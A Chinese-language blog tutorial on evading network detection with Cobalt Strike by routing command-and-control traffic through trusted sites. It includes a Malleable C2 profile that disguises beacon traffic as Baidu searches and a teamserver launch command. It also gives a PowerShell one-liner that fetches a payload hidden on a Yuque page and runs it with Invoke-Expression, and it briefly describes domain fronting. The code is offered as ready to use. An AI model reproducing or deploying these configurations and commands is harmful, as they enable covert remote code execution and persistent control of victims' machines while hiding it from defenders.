这里主要介绍三种,最后一种需要花钱,我就没继续实验,穷。
虽然上面说准备介绍三种,实际上归成一类就是一种,简单点讲,就是利用“白名单”。
第一种,在百度中传输payload
首先建立如下c2配置文件,贴上部分代码,官方wiki介绍在这里:https://www.cobaltstrike.com/help-malleable-c2
http-get {
set uri "/s";
client {
header "Host" "www.baidu.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "BAIDUID=BAIDUIDIDIDIDIDIDIDIDIDIDIDI";
metadata {
base64url;
parameter "wd";
}
parameter "ie" "utf-8";
}
完整代码在这里,可直接食用:
https://github.com/Jumbo-WJB/Cobalt_Strike_Test/blob/master/j_c2.profile
Cobalt Strike加载C2配置命令:
./teamserver ip password ./j_c2.profile
生成payload,运行上线,受害者机器抓包如下:
是的,在百度中传输payload了。
那我们根据我们上面的c2配置和抓包数据简单分析下。首先我们正常在百度中搜索关键词的url如下:
https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=jumbo
其中wd参数是你要搜索的关键词,其他的不重要,删掉也可以。
我们在C2配置中配置了payload传输过程,旨在让我们的payload出现在wd参数中,而wd正常来说是关键词的参数。
然后我们让payload的响应数据出现在如下html中:
而这个html正是我copy的正常百度的:
目的也是为了让我们的payload隐藏在看似就是百度给的响应包中。
最后的一个运作流程如下,不明所以的以为就是网内一台机器上了百度查了一些东西而已:
第二种,在白名单网站中传输payload
何为白名单,如上面第一种提到的百度,还有qq空间、github、微软,看起不应该出现问题的网站。而我们的目的就是在这些白名单网站中植入payload,让受害者机器下载执行。
本来想以github测试,发现墙是真的厚。
那这里我以语雀进行测试,payload如下:
https://www.yuque.com/docs/share/444cd7ff-72aa-4066-945e-0a1be51a214e
然后我们以powershell为例,进行如下步骤:
1、访问植入payload的页面(Invoke-WebRequest)
2、获取payload(Regex)
3、执行payload(Invoke-expression)
这里直接给出payload:
$data = Invoke-WebRequest -Uri https://www.yuque.com/docs/share/444cd7ff-72aa-4066-945e-0a1be51a214e -UseBasicParsing;$r = [Regex]::new('(?<=cmdtest-)(.*)(?=-cmdtest)');$m = $r.Match($data.rawcontent);if($m.Success){Invoke-expression $m.value }
最后的一个运作流程如下,因为语雀为https,所以看到的是加密,如果不是加密,不明所以的看到的以为只是像白名单网站访问了一下,谁会没事在乎他干嘛去访问一下百度、qq空间呢。
第三个就是Domain fronting,简单点讲,就是伪造host,让cdn根据host转发到你真正的C2上面去,但是流量看只是一个正常的网站。就如上面说的,没钱就不往下写了。